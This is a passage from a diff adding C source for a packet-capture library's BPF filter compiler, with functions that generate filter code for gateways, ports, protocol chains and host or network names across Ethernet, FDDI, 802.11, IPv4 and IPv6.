+ /* NOTREACHED */ +} +#endif /*INET6*/ + +#ifndef INET6 +static struct block * +gen_gateway(eaddr, alist, proto, dir) + const u_char *eaddr; + bpf_u_int32 **alist; + int proto; + int dir; +{ + struct block *b0, *b1, *tmp; + + if (dir != 0) + bpf_error("direction applied to 'gateway'"); + + switch (proto) { + case Q_DEFAULT: + case Q_IP: + case Q_ARP: + case Q_RARP: + if (linktype == DLT_EN10MB) + b0 = gen_ehostop(eaddr, Q_OR); + else if (linktype == DLT_FDDI) + b0 = gen_fhostop(eaddr, Q_OR); + else if (linktype == DLT_IEEE802) + b0 = gen_thostop(eaddr, Q_OR); + else if (linktype == DLT_IEEE802_11) + b0 = gen_wlanhostop(eaddr, Q_OR); + else if (linktype == DLT_SUNATM && is_lane) { + /* + * Check that the packet doesn't begin with an + * LE Control marker. (We've already generated + * a test for LANE.) + */ + b1 = gen_cmp(SUNATM_PKT_BEGIN_POS, BPF_H, 0xFF00); + gen_not(b1); + + /* + * Now check the MAC address. + */ + b0 = gen_ehostop(eaddr, Q_OR); + gen_and(b1, b0); + } else if (linktype == DLT_IP_OVER_FC) + b0 = gen_ipfchostop(eaddr, Q_OR); + else + bpf_error( + "'gateway' supported only on ethernet/FDDI/token ring/802.11/Fibre Channel"); + + b1 = gen_host(**alist++, 0xffffffff, proto, Q_OR); + while (*alist) { + tmp = gen_host(**alist++, 0xffffffff, proto, Q_OR); + gen_or(b1, tmp); + b1 = tmp; + } + gen_not(b1); + gen_and(b0, b1); + return b1; + } + bpf_error("illegal modifier of 'gateway'"); + /* NOTREACHED */ +} +#endif + +struct block * +gen_proto_abbrev(proto) + int proto; +{ +#ifdef INET6 + struct block *b0; +#endif + struct block *b1; + + switch (proto) { + + case Q_SCTP: + b1 = gen_proto(IPPROTO_SCTP, Q_IP, Q_DEFAULT); +#ifdef INET6 + b0 = gen_proto(IPPROTO_SCTP, Q_IPV6, Q_DEFAULT); + gen_or(b0, b1); +#endif + break; + + case Q_TCP: + b1 = gen_proto(IPPROTO_TCP, Q_IP, Q_DEFAULT); +#ifdef INET6 + b0 = gen_proto(IPPROTO_TCP, Q_IPV6, Q_DEFAULT); + gen_or(b0, b1); +#endif + break; + + case Q_UDP: + b1 = gen_proto(IPPROTO_UDP, Q_IP, Q_DEFAULT); +#ifdef INET6 + b0 = gen_proto(IPPROTO_UDP, Q_IPV6, Q_DEFAULT); + gen_or(b0, b1); +#endif + break; + + case Q_ICMP: + b1 = gen_proto(IPPROTO_ICMP, Q_IP, Q_DEFAULT); + break; + +#ifndef IPPROTO_IGMP +#define IPPROTO_IGMP 2 +#endif + + case Q_IGMP: + b1 = gen_proto(IPPROTO_IGMP, Q_IP, Q_DEFAULT); + break; + +#ifndef IPPROTO_IGRP +#define IPPROTO_IGRP 9 +#endif + case Q_IGRP: + b1 = gen_proto(IPPROTO_IGRP, Q_IP, Q_DEFAULT); + break; + +#ifndef IPPROTO_PIM +#define IPPROTO_PIM 103 +#endif + + case Q_PIM: + b1 = gen_proto(IPPROTO_PIM, Q_IP, Q_DEFAULT); +#ifdef INET6 + b0 = gen_proto(IPPROTO_PIM, Q_IPV6, Q_DEFAULT); + gen_or(b0, b1); +#endif + break; + +#ifndef IPPROTO_VRRP +#define IPPROTO_VRRP 112 +#endif + + case Q_VRRP: + b1 = gen_proto(IPPROTO_VRRP, Q_IP, Q_DEFAULT); + break; + + case Q_IP: + b1 = gen_linktype(ETHERTYPE_IP); + break; + + case Q_ARP: + b1 = gen_linktype(ETHERTYPE_ARP); + break; + + case Q_RARP: + b1 = gen_linktype(ETHERTYPE_REVARP); + break; + + case Q_LINK: + bpf_error("link layer applied in wrong context"); + + case Q_ATALK: + b1 = gen_linktype(ETHERTYPE_ATALK); + break; + + case Q_AARP: + b1 = gen_linktype(ETHERTYPE_AARP); + break; + + case Q_DECNET: + b1 = gen_linktype(ETHERTYPE_DN); + break; + + case Q_SCA: + b1 = gen_linktype(ETHERTYPE_SCA); + break; + + case Q_LAT: + b1 = gen_linktype(ETHERTYPE_LAT); + break; + + case Q_MOPDL: + b1 = gen_linktype(ETHERTYPE_MOPDL); + break; + + case Q_MOPRC: + b1 = gen_linktype(ETHERTYPE_MOPRC); + break; + +#ifdef INET6 + case Q_IPV6: + b1 = gen_linktype(ETHERTYPE_IPV6); + break; + +#ifndef IPPROTO_ICMPV6 +#define IPPROTO_ICMPV6 58 +#endif + case Q_ICMPV6: + b1 = gen_proto(IPPROTO_ICMPV6, Q_IPV6, Q_DEFAULT); + break; +#endif /* INET6 */ + +#ifndef IPPROTO_AH +#define IPPROTO_AH 51 +#endif + case Q_AH: + b1 = gen_proto(IPPROTO_AH, Q_IP, Q_DEFAULT); +#ifdef INET6 + b0 = gen_proto(IPPROTO_AH, Q_IPV6, Q_DEFAULT); + gen_or(b0, b1); +#endif + break; + +#ifndef IPPROTO_ESP +#define IPPROTO_ESP 50 +#endif + case Q_ESP: + b1 = gen_proto(IPPROTO_ESP, Q_IP, Q_DEFAULT); +#ifdef INET6 + b0 = gen_proto(IPPROTO_ESP, Q_IPV6, Q_DEFAULT); + gen_or(b0, b1); +#endif + break; + + case Q_ISO: + b1 = gen_linktype(LLCSAP_ISONS); + break; + + case Q_ESIS: + b1 = gen_proto(ISO9542_ESIS, Q_ISO, Q_DEFAULT); + break; + + case Q_ISIS: + b1 = gen_proto(ISO10589_ISIS, Q_ISO, Q_DEFAULT); + break; + + case Q_CLNP: + b1 = gen_proto(ISO8473_CLNP, Q_ISO, Q_DEFAULT); + break; + + case Q_STP: + b1 = gen_linktype(LLCSAP_8021D); + break; + + case Q_IPX: + b1 = gen_linktype(LLCSAP_IPX); + break; + + case Q_NETBEUI: + b1 = gen_linktype(LLCSAP_NETBEUI); + break; + + default: + abort(); + } + return b1; +} + +static struct block * +gen_ipfrag() +{ + struct slist *s; + struct block *b; + + /* not ip frag */ + s = new_stmt(BPF_LD|BPF_H|BPF_ABS); + s->s.k = off_nl + 6; + b = new_block(JMP(BPF_JSET)); + b->s.k = 0x1fff; + b->stmts = s; + gen_not(b); + + return b; +} + +static struct block * +gen_portatom(off, v) + int off; + bpf_int32 v; +{ + struct slist *s; + struct block *b; + + s = new_stmt(BPF_LDX|BPF_MSH|BPF_B); + s->s.k = off_nl; + + s->next = new_stmt(BPF_LD|BPF_IND|BPF_H); + s->next->s.k = off_nl + off; + + b = new_block(JMP(BPF_JEQ)); + b->stmts = s; + b->s.k = v; + + return b; +} + +#ifdef INET6 +static struct block * +gen_portatom6(off, v) + int off; + bpf_int32 v; +{ + return gen_cmp(off_nl + 40 + off, BPF_H, v); +} +#endif/*INET6*/ + +struct block * +gen_portop(port, proto, dir) + int port, proto, dir; +{ + struct block *b0, *b1, *tmp; + + /* ip proto 'proto' */ + tmp = gen_cmp(off_nl + 9, BPF_B, (bpf_int32)proto); + b0 = gen_ipfrag(); + gen_and(tmp, b0); + + switch (dir) { + case Q_SRC: + b1 = gen_portatom(0, (bpf_int32)port); + break; + + case Q_DST: + b1 = gen_portatom(2, (bpf_int32)port); + break; + + case Q_OR: + case Q_DEFAULT: + tmp = gen_portatom(0, (bpf_int32)port); + b1 = gen_portatom(2, (bpf_int32)port); + gen_or(tmp, b1); + break; + + case Q_AND: + tmp = gen_portatom(0, (bpf_int32)port); + b1 = gen_portatom(2, (bpf_int32)port); + gen_and(tmp, b1); + break; + + default: + abort(); + } + gen_and(b0, b1); + + return b1; +} + +static struct block * +gen_port(port, ip_proto, dir) + int port; + int ip_proto; + int dir; +{ + struct block *b0, *b1, *tmp; + + /* ether proto ip */ + b0 = gen_linktype(ETHERTYPE_IP); + + switch (ip_proto) { + case IPPROTO_UDP: + case IPPROTO_TCP: + case IPPROTO_SCTP: + b1 = gen_portop(port, ip_proto, dir); + break; + + case PROTO_UNDEF: + tmp = gen_portop(port, IPPROTO_TCP, dir); + b1 = gen_portop(port, IPPROTO_UDP, dir); + gen_or(tmp, b1); + tmp = gen_portop(port, IPPROTO_SCTP, dir); + gen_or(tmp, b1); + break; + + default: + abort(); + } + gen_and(b0, b1); + return b1; +} + +#ifdef INET6 +struct block * +gen_portop6(port, proto, dir) + int port, proto, dir; +{ + struct block *b0, *b1, *tmp; + + /* ip proto 'proto' */ + b0 = gen_cmp(off_nl + 6, BPF_B, (bpf_int32)proto); + + switch (dir) { + case Q_SRC: + b1 = gen_portatom6(0, (bpf_int32)port); + break; + + case Q_DST: + b1 = gen_portatom6(2, (bpf_int32)port); + break; + + case Q_OR: + case Q_DEFAULT: + tmp = gen_portatom6(0, (bpf_int32)port); + b1 = gen_portatom6(2, (bpf_int32)port); + gen_or(tmp, b1); + break; + + case Q_AND: + tmp = gen_portatom6(0, (bpf_int32)port); + b1 = gen_portatom6(2, (bpf_int32)port); + gen_and(tmp, b1); + break; + + default: + abort(); + } + gen_and(b0, b1); + + return b1; +} + +static struct block * +gen_port6(port, ip_proto, dir) + int port; + int ip_proto; + int dir; +{ + struct block *b0, *b1, *tmp; + + /* ether proto ip */ + b0 = gen_linktype(ETHERTYPE_IPV6); + + switch (ip_proto) { + case IPPROTO_UDP: + case IPPROTO_TCP: + case IPPROTO_SCTP: + b1 = gen_portop6(port, ip_proto, dir); + break; + + case PROTO_UNDEF: + tmp = gen_portop6(port, IPPROTO_TCP, dir); + b1 = gen_portop6(port, IPPROTO_UDP, dir); + gen_or(tmp, b1); + tmp = gen_portop6(port, IPPROTO_SCTP, dir); + gen_or(tmp, b1); + break; + + default: + abort(); + } + gen_and(b0, b1); + return b1; +} +#endif /* INET6 */ + +static int +lookup_proto(name, proto) + register const char *name; + register int proto; +{ + register int v; + + switch (proto) { + + case Q_DEFAULT: + case Q_IP: + case Q_IPV6: + v = pcap_nametoproto(name); + if (v == PROTO_UNDEF) + bpf_error("unknown ip proto '%s'", name); + break; + + case Q_LINK: + /* XXX should look up h/w protocol type based on linktype */ + v = pcap_nametoeproto(name); + if (v == PROTO_UNDEF) + bpf_error("unknown ether proto '%s'", name); + break; + + case Q_ISO: + if (strcmp(name, "esis") == 0) + v = ISO9542_ESIS; + else if (strcmp(name, "isis") == 0) + v = ISO10589_ISIS; + else if (strcmp(name, "clnp") == 0) + v = ISO8473_CLNP; + else + bpf_error("unknown osi proto '%s'", name); + break; + + default: + v = PROTO_UNDEF; + break; + } + return v; +} + +#if 0 +struct stmt * +gen_joinsp(s, n) + struct stmt **s; + int n; +{ + return NULL; +} +#endif + +static struct block * +gen_protochain(v, proto, dir) + int v; + int proto; + int dir; +{ +#ifdef NO_PROTOCHAIN + return gen_proto(v, proto, dir); +#else + struct block *b0, *b; + struct slist *s[100]; + int fix2, fix3, fix4, fix5; + int ahcheck, again, end; + int i, max; + int reg2 = alloc_reg(); + + memset(s, 0, sizeof(s)); + fix2 = fix3 = fix4 = fix5 = 0; + + switch (proto) { + case Q_IP: + case Q_IPV6: + break; + case Q_DEFAULT: + b0 = gen_protochain(v, Q_IP, dir); + b = gen_protochain(v, Q_IPV6, dir); + gen_or(b0, b); + return b; + default: + bpf_error("bad protocol applied for 'protochain'"); + /*NOTREACHED*/ + } + + no_optimize = 1; /*this code is not compatible with optimzer yet */ + + /* + * s[0] is a dummy entry to protect other BPF insn from damaged + * by s[fix] = foo with uninitialized variable "fix". It is somewhat + * hard to find interdependency made by jump table fixup. + */ + i = 0; + s[i] = new_stmt(0); /*dummy*/ + i++; + + switch (proto) { + case Q_IP: + b0 = gen_linktype(ETHERTYPE_IP); + + /* A = ip->ip_p */ + s[i] = new_stmt(BPF_LD|BPF_ABS|BPF_B); + s[i]->s.k = off_nl + 9; + i++; + /* X = ip->ip_hl << 2 */ + s[i] = new_stmt(BPF_LDX|BPF_MSH|BPF_B); + s[i]->s.k = off_nl; + i++; + break; +#ifdef INET6 + case Q_IPV6: + b0 = gen_linktype(ETHERTYPE_IPV6); + + /* A = ip6->ip_nxt */ + s[i] = new_stmt(BPF_LD|BPF_ABS|BPF_B); + s[i]->s.k = off_nl + 6; + i++; + /* X = sizeof(struct ip6_hdr) */ + s[i] = new_stmt(BPF_LDX|BPF_IMM); + s[i]->s.k = 40; + i++; + break; +#endif + default: + bpf_error("unsupported proto to gen_protochain"); + /*NOTREACHED*/ + } + + /* again: if (A == v) goto end; else fall through; */ + again = i; + s[i] = new_stmt(BPF_JMP|BPF_JEQ|BPF_K); + s[i]->s.k = v; + s[i]->s.jt = NULL; /*later*/ + s[i]->s.jf = NULL; /*update in next stmt*/ + fix5 = i; + i++; + +#ifndef IPPROTO_NONE +#define IPPROTO_NONE 59 +#endif + /* if (A == IPPROTO_NONE) goto end */ + s[i] = new_stmt(BPF_JMP|BPF_JEQ|BPF_K); + s[i]->s.jt = NULL; /*later*/ + s[i]->s.jf = NULL; /*update in next stmt*/ + s[i]->s.k = IPPROTO_NONE; + s[fix5]->s.jf = s[i]; + fix2 = i; + i++; + +#ifdef INET6 + if (proto == Q_IPV6) { + int v6start, v6end, v6advance, j; + + v6start = i; + /* if (A == IPPROTO_HOPOPTS) goto v6advance */ + s[i] = new_stmt(BPF_JMP|BPF_JEQ|BPF_K); + s[i]->s.jt = NULL; /*later*/ + s[i]->s.jf = NULL; /*update in next stmt*/ + s[i]->s.k = IPPROTO_HOPOPTS; + s[fix2]->s.jf = s[i]; + i++; + /* if (A == IPPROTO_DSTOPTS) goto v6advance */ + s[i - 1]->s.jf = s[i] = new_stmt(BPF_JMP|BPF_JEQ|BPF_K); + s[i]->s.jt = NULL; /*later*/ + s[i]->s.jf = NULL; /*update in next stmt*/ + s[i]->s.k = IPPROTO_DSTOPTS; + i++; + /* if (A == IPPROTO_ROUTING) goto v6advance */ + s[i - 1]->s.jf = s[i] = new_stmt(BPF_JMP|BPF_JEQ|BPF_K); + s[i]->s.jt = NULL; /*later*/ + s[i]->s.jf = NULL; /*update in next stmt*/ + s[i]->s.k = IPPROTO_ROUTING; + i++; + /* if (A == IPPROTO_FRAGMENT) goto v6advance; else goto ahcheck; */ + s[i - 1]->s.jf = s[i] = new_stmt(BPF_JMP|BPF_JEQ|BPF_K); + s[i]->s.jt = NULL; /*later*/ + s[i]->s.jf = NULL; /*later*/ + s[i]->s.k = IPPROTO_FRAGMENT; + fix3 = i; + v6end = i; + i++; + + /* v6advance: */ + v6advance = i; + + /* + * in short, + * A = P[X]; + * X = X + (P[X + 1] + 1) * 8; + */ + /* A = X */ + s[i] = new_stmt(BPF_MISC|BPF_TXA); + i++; + /* A = P[X + packet head] */ + s[i] = new_stmt(BPF_LD|BPF_IND|BPF_B); + s[i]->s.k = off_nl; + i++; + /* MEM[reg2] = A */ + s[i] = new_stmt(BPF_ST); + s[i]->s.k = reg2; + i++; + /* A = X */ + s[i] = new_stmt(BPF_MISC|BPF_TXA); + i++; + /* A += 1 */ + s[i] = new_stmt(BPF_ALU|BPF_ADD|BPF_K); + s[i]->s.k = 1; + i++; + /* X = A */ + s[i] = new_stmt(BPF_MISC|BPF_TAX); + i++; + /* A = P[X + packet head]; */ + s[i] = new_stmt(BPF_LD|BPF_IND|BPF_B); + s[i]->s.k = off_nl; + i++; + /* A += 1 */ + s[i] = new_stmt(BPF_ALU|BPF_ADD|BPF_K); + s[i]->s.k = 1; + i++; + /* A *= 8 */ + s[i] = new_stmt(BPF_ALU|BPF_MUL|BPF_K); + s[i]->s.k = 8; + i++; + /* X = A; */ + s[i] = new_stmt(BPF_MISC|BPF_TAX); + i++; + /* A = MEM[reg2] */ + s[i] = new_stmt(BPF_LD|BPF_MEM); + s[i]->s.k = reg2; + i++; + + /* goto again; (must use BPF_JA for backward jump) */ + s[i] = new_stmt(BPF_JMP|BPF_JA); + s[i]->s.k = again - i - 1; + s[i - 1]->s.jf = s[i]; + i++; + + /* fixup */ + for (j = v6start; j <= v6end; j++) + s[j]->s.jt = s[v6advance]; + } else +#endif + { + /* nop */ + s[i] = new_stmt(BPF_ALU|BPF_ADD|BPF_K); + s[i]->s.k = 0; + s[fix2]->s.jf = s[i]; + i++; + } + + /* ahcheck: */ + ahcheck = i; + /* if (A == IPPROTO_AH) then fall through; else goto end; */ + s[i] = new_stmt(BPF_JMP|BPF_JEQ|BPF_K); + s[i]->s.jt = NULL; /*later*/ + s[i]->s.jf = NULL; /*later*/ + s[i]->s.k = IPPROTO_AH; + if (fix3) + s[fix3]->s.jf = s[ahcheck]; + fix4 = i; + i++; + + /* + * in short, + * A = P[X]; + * X = X + (P[X + 1] + 2) * 4; + */ + /* A = X */ + s[i - 1]->s.jt = s[i] = new_stmt(BPF_MISC|BPF_TXA); + i++; + /* A = P[X + packet head]; */ + s[i] = new_stmt(BPF_LD|BPF_IND|BPF_B); + s[i]->s.k = off_nl; + i++; + /* MEM[reg2] = A */ + s[i] = new_stmt(BPF_ST); + s[i]->s.k = reg2; + i++; + /* A = X */ + s[i - 1]->s.jt = s[i] = new_stmt(BPF_MISC|BPF_TXA); + i++; + /* A += 1 */ + s[i] = new_stmt(BPF_ALU|BPF_ADD|BPF_K); + s[i]->s.k = 1; + i++; + /* X = A */ + s[i] = new_stmt(BPF_MISC|BPF_TAX); + i++; + /* A = P[X + packet head] */ + s[i] = new_stmt(BPF_LD|BPF_IND|BPF_B); + s[i]->s.k = off_nl; + i++; + /* A += 2 */ + s[i] = new_stmt(BPF_ALU|BPF_ADD|BPF_K); + s[i]->s.k = 2; + i++; + /* A *= 4 */ + s[i] = new_stmt(BPF_ALU|BPF_MUL|BPF_K); + s[i]->s.k = 4; + i++; + /* X = A; */ + s[i] = new_stmt(BPF_MISC|BPF_TAX); + i++; + /* A = MEM[reg2] */ + s[i] = new_stmt(BPF_LD|BPF_MEM); + s[i]->s.k = reg2; + i++; + + /* goto again; (must use BPF_JA for backward jump) */ + s[i] = new_stmt(BPF_JMP|BPF_JA); + s[i]->s.k = again - i - 1; + i++; + + /* end: nop */ + end = i; + s[i] = new_stmt(BPF_ALU|BPF_ADD|BPF_K); + s[i]->s.k = 0; + s[fix2]->s.jt = s[end]; + s[fix4]->s.jf = s[end]; + s[fix5]->s.jt = s[end]; + i++; + + /* + * make slist chain + */ + max = i; + for (i = 0; i < max - 1; i++) + s[i]->next = s[i + 1]; + s[max - 1]->next = NULL; + + /* + * emit final check + */ + b = new_block(JMP(BPF_JEQ)); + b->stmts = s[1]; /*remember, s[0] is dummy*/ + b->s.k = v; + + free_reg(reg2); + + gen_and(b0, b); + return b; +#endif +} + +static struct block * +gen_proto(v, proto, dir) + int v; + int proto; + int dir; +{ + struct block *b0, *b1; + + if (dir != Q_DEFAULT) + bpf_error("direction applied to 'proto'"); + + switch (proto) { + case Q_DEFAULT: +#ifdef INET6 + b0 = gen_proto(v, Q_IP, dir); + b1 = gen_proto(v, Q_IPV6, dir); + gen_or(b0, b1); + return b1; +#else + /*FALLTHROUGH*/ +#endif + case Q_IP: + b0 = gen_linktype(ETHERTYPE_IP); +#ifndef CHASE_CHAIN + b1 = gen_cmp(off_nl + 9, BPF_B, (bpf_int32)v); +#else + b1 = gen_protochain(v, Q_IP); +#endif + gen_and(b0, b1); + return b1; + + case Q_ISO: + switch (linktype) { + + case DLT_FRELAY: + /* + * Frame Relay packets typically have an OSI + * NLPID at the beginning; "gen_linktype(LLCSAP_ISONS)" + * generates code to check for all the OSI + * NLPIDs, so calling it and then adding a check + * for the particular NLPID for which we're + * looking is bogus, as we can just check for + * the NLPID. + * + * What we check for is the NLPID and a frame + * control field value of UI, i.e. 0x03 followed + * by the NLPID. + * + * XXX - assumes a 2-byte Frame Relay header with + * DLCI and flags. What if the address is longer? + * + * XXX - what about SNAP-encapsulated frames? + */ + return gen_cmp(2, BPF_H, (0x03<<8) | v); + break; + + default: + b0 = gen_linktype(LLCSAP_ISONS); + b1 = gen_cmp(off_nl_nosnap, BPF_B, (long)v); + gen_and(b0, b1); + return b1; + } + + case Q_ARP: + bpf_error("arp does not encapsulate another protocol"); + /* NOTREACHED */ + + case Q_RARP: + bpf_error("rarp does not encapsulate another protocol"); + /* NOTREACHED */ + + case Q_ATALK: + bpf_error("atalk encapsulation is not specifiable"); + /* NOTREACHED */ + + case Q_DECNET: + bpf_error("decnet encapsulation is not specifiable"); + /* NOTREACHED */ + + case Q_SCA: + bpf_error("sca does not encapsulate another protocol"); + /* NOTREACHED */ + + case Q_LAT: + bpf_error("lat does not encapsulate another protocol"); + /* NOTREACHED */ + + case Q_MOPRC: + bpf_error("moprc does not encapsulate another protocol"); + /* NOTREACHED */ + + case Q_MOPDL: + bpf_error("mopdl does not encapsulate another protocol"); + /* NOTREACHED */ + + case Q_LINK: + return gen_linktype(v); + + case Q_UDP: + bpf_error("'udp proto' is bogus"); + /* NOTREACHED */ + + case Q_TCP: + bpf_error("'tcp proto' is bogus"); + /* NOTREACHED */ + + case Q_SCTP: + bpf_error("'sctp proto' is bogus"); + /* NOTREACHED */ + + case Q_ICMP: + bpf_error("'icmp proto' is bogus"); + /* NOTREACHED */ + + case Q_IGMP: + bpf_error("'igmp proto' is bogus"); + /* NOTREACHED */ + + case Q_IGRP: + bpf_error("'igrp proto' is bogus"); + /* NOTREACHED */ + + case Q_PIM: + bpf_error("'pim proto' is bogus"); + /* NOTREACHED */ + + case Q_VRRP: + bpf_error("'vrrp proto' is bogus"); + /* NOTREACHED */ + +#ifdef INET6 + case Q_IPV6: + b0 = gen_linktype(ETHERTYPE_IPV6); +#ifndef CHASE_CHAIN + b1 = gen_cmp(off_nl + 6, BPF_B, (bpf_int32)v); +#else + b1 = gen_protochain(v, Q_IPV6); +#endif + gen_and(b0, b1); + return b1; + + case Q_ICMPV6: + bpf_error("'icmp6 proto' is bogus"); +#endif /* INET6 */ + + case Q_AH: + bpf_error("'ah proto' is bogus"); + + case Q_ESP: + bpf_error("'ah proto' is bogus"); + + case Q_STP: + bpf_error("'stp proto' is bogus"); + + case Q_IPX: + bpf_error("'ipx proto' is bogus"); + + case Q_NETBEUI: + bpf_error("'netbeui proto' is bogus"); + + default: + abort(); + /* NOTREACHED */ + } + /* NOTREACHED */ +} + +struct block * +gen_scode(name, q) + register const char *name; + struct qual q; +{ + int proto = q.proto; + int dir = q.dir; + int tproto; + u_char *eaddr; + bpf_u_int32 mask, addr; +#ifndef INET6 + bpf_u_int32 **alist; +#else + int tproto6; + struct sockaddr_in *sin; + struct sockaddr_in6 *sin6; + struct addrinfo *res, *res0; + struct in6_addr mask128; +#endif /*INET6*/ + struct block *b, *tmp; + int port, real_proto; + + switch (q.addr) { + + case Q_NET: + addr = pcap_nametonetaddr(name); + if (addr == 0) + bpf_error("unknown network '%s'", name); + /* Left justify network addr and calculate its network mask */ + mask = 0xffffffff; + while (addr && (addr & 0xff000000) == 0) { + addr <<= 8; + mask <<= 8; + } + return gen_host(addr, mask, proto, dir); + + case Q_DEFAULT: + case Q_HOST: + if (proto == Q_LINK) { + switch (linktype) { + + case DLT_EN10MB: + eaddr = pcap_ether_hostton(name); + if (eaddr == NULL) + bpf_error( + "unknown ether host '%s'", name); + b = gen_ehostop(eaddr, dir); + free(eaddr); + return b; + + case DLT_FDDI: + eaddr = pcap_ether_hostton(name); + if (eaddr == NULL) + bpf_error( + "unknown FDDI host '%s'", name); + b = gen_fhostop(eaddr, dir); + free(eaddr); + return b; + + case DLT_IEEE802: + eaddr = pcap_ether_hostton(name); + if (eaddr == NULL) + bpf_error( + "unknown token ring host '%s'", name); + b = gen_thostop(eaddr, dir); + free(eaddr); + return b; + + case DLT_IEEE802_11: + eaddr = pcap_ether_hostton(name); + if (eaddr == NULL) + bpf_error( + "unknown 802.11 host '%s'", name); + b = gen_wlanhostop(eaddr, dir); + free(eaddr); + return b; + + case DLT_IP_OVER_FC: + eaddr = pcap_ether_hostton(name); + if (eaddr == NULL) + bpf_error( + "unknown Fibre Channel host '%s'", name); + b = gen_ipfchostop(eaddr, dir); + free(eaddr); + return b; + + case DLT_SUNATM: + if (!is_lane) + break; + + /* + * Check that the packet doesn't begin + * with an LE Control marker. (We've + * already generated a test for LANE.) + */ + tmp = gen_cmp(SUNATM_PKT_BEGIN_POS, BPF_H, + 0xFF00); + gen_not(tmp); + + eaddr = pcap_ether_hostton(name); + if (eaddr == NULL) + bpf_error( + "unknown ether host '%s'", name); + b = gen_ehostop(eaddr, dir); + gen_and(tmp, b); + free(eaddr); + return b; + } + + bpf_error("only ethernet/FDDI/token ring/802.11/ATM LANE/Fibre Channel supports link-level host name"); + } else if (proto == Q_DECNET) { + unsigned short dn_addr = __pcap_nametodnaddr(name); + /* + * I don't think DECNET hosts can be multihomed, so + * there is no need to build up a list of addresses + */ + return (gen_host(dn_addr, 0, proto, dir)); + } else { +#ifndef INET6 + alist = pcap_nametoaddr(name); + if (alist == NULL || *alist == NULL) + bpf_error("unknown host '%s'", name); + tproto = proto; + if (off_linktype == -1 && tproto == Q_DEFAULT) + tproto = Q_IP; + b = gen_host(**alist++, 0xffffffff, tproto, dir); + while (*alist) { + tmp = gen_host(**alist++, 0xffffffff, + tproto, dir); + gen_or(b, tmp); + b = tmp; + } + return b; +#else + memset(&mask128, 0xff, sizeof(mask128)); + res0 = res = pcap_nametoaddrinfo(name); + if (res == NULL) + bpf_error("unknown host '%s'", name); + b = tmp = NULL; + tproto = tproto6 = proto; + if (off_linktype == -1 && tproto == Q_DEFAULT) { + tproto = Q_IP; + tproto6 = Q_IPV6; + } + for (res = res0; res; res = res->ai_next) { + switch (res->ai_family) { + case AF_INET: + if (tproto == Q_IPV6) + continue; + + sin = (struct sockaddr_in *) + res->ai_addr; + tmp = gen_host(ntohl(sin->sin_addr.s_addr), + 0xffffffff, tproto, dir); + break; + case AF_INET6: + if (tproto6 == Q_IP) + continue; + + sin6 = (struct sockaddr_in6 *) + res->ai_addr; + tmp = gen_host6(&sin6->sin6_addr, + &mask128, tproto6, dir); + break; + default: + continue; + } + if (b) + gen_or(b, tmp); + b = tmp; + } + freeaddrinfo(res0); + if (b == NULL) { + bpf_error("unknown host '%s'%s", name, + (proto == Q_DEFAULT) + ? "" + : " for specified address family"); + } + return b; +#endif /*INET6*/ + } + + case Q_PORT: + if (proto != Q_DEFAULT && + proto != Q_UDP && proto != Q_TCP && proto != Q_SCTP) + bpf_error("illegal qualifier of 'port'"); + if (pcap_nametoport(name, &port, &real_proto) == 0) + bpf_error("unknown port '%s'", name); + if (proto == Q_UDP) { + if (real_proto == IPPROTO_TCP) + bpf_error("port '%s' is tcp", name); + else if (real_proto == IPPROTO_SCTP) + bpf_error("port '%s' is sctp", name); + else + /* override PROTO_UNDEF */ + real_proto = IPPROTO_UDP; + } + if (proto == Q_TCP) { + if (real_proto == IPPROTO_UDP) + bpf_error("port '%s' is udp", name); + + else if (real_proto == IPPROTO_SCTP) + bpf_error("port '%s' is sctp", name); + else + /* override PROTO_UNDEF */ + real_proto = IPPROTO_TCP; + } + if (proto == Q_SCTP) { + if (real_proto == IPPROTO_UDP) + bpf_error("port '%s' is udp", name); + + else if (real_proto == IPPROTO_TCP) + bpf_error("port '%s' is tcp", name); + else + /* override PROTO_UNDEF */ + real_proto = IPPROTO_SCTP; + } +#ifndef INET6 + return gen_port(port, real_proto, dir); +#else + { + struct block *b; + b = gen_port(port, real_proto, dir); + gen_or(gen_port6(port, real_proto, dir), b); + return b; + } +#endif /* INET6 */ + + case Q_GATEWAY: +#ifndef INET6 + eaddr = pcap_ether_hostton(name); + if (eaddr == NULL) + bpf_error("unknown ether host: %s", name); + + alist = pcap_nametoaddr(name); + if (alist == NULL || *alist == NULL) + bpf_error("unknown host '%s'", name); + b = gen_gateway(eaddr, alist, proto, dir); + free(eaddr); + return b; +#else + bpf_error("'gateway' not supported in this configuration"); +#endif /*INET6*/ + + case Q_PROTO: + real_proto = lookup_proto(name, proto); + if (real_proto >= 0) + return gen_proto(real_proto, proto, dir); + else + bpf_error("unknown protocol: %s", name); + + case Q_PROTOCHAIN: + real_proto = lookup_proto(name, proto); + if (real_proto >= 0) + return gen_protochain(real_proto, proto, dir); + else + bpf_error("unknown protocol: %s", name); + + + case Q_UNDEF: + syntax(); + /* NOTREACHED */ + } + abort(); + /* NOTREACHED */ +} + +struct block * +gen_mcode(s1, s2, masklen, q) + register const char *s1, *s2; + register int masklen; + struct qual q; +{ + register int nlen, mlen; + bpf_u_int32 n, m; + + nlen = __pcap_atoin(s1, &n); + /* Promote short ipaddr */ + n <<= 32 - nlen; + + if (s2 != NULL) { + mlen = __pcap_atoin(s2, &m); + /* Promote short ipaddr */ + m <<= 32 - mlen; + if ((n & ~m) != 0) + bpf_error("non-network bits set in \"%s mask %s\"", + s1, s2); + } else { + /* Convert mask len to mask */ + if (masklen > 32) + bpf_error("mask length must be <= 32"); + m = 0xffffffff << (32 - masklen); + if ((n & ~m) != 0) + bpf_error("non-network bits set in \"%s/%d\"", + s1, masklen); + } + + switch (q.addr) { + + case Q_NET: + return gen_host(n, m, q.proto, q.dir); + + default: + bpf_error("Mask syntax for networks only"); + /* NOTREACHED */ + } +} + +struct block * +gen_ncode(s, v, q) + register const char *s; + bpf_u_int32 v; + struct qual q; +{ + bpf_u_int32 mask; + int proto = q.proto; + int dir = q.dir; + register int vlen; + + if (s == NULL) + vlen = 32; + else if (q.proto == Q_DECNET) + vlen = __pcap_atodn(s, &v); + else + vlen = __pcap_atoin(s, &v); + + switch (q.addr) { + + case Q_DEFAULT: + case Q_HOST: + case Q_NET: + if (proto == Q_DECNET) + return gen_host(v, 0, proto, dir); + else if (proto == Q_LINK) { + bpf_error("illegal link layer address"); + } else { + mask = 0xffffffff; + if (s == NULL && q.addr == Q_NET) { + /* Promote short net number */ + while (v && (v & 0xff000000) == 0) { + v <<= 8; + mask <<= 8; + } + } else { + /* Promote short ipaddr */ + v <<= 32 - vlen; + mask <<= 32 - vlen; + } + return gen_host(v, mask, proto, dir); + } + + case Q_PORT: + if (proto == 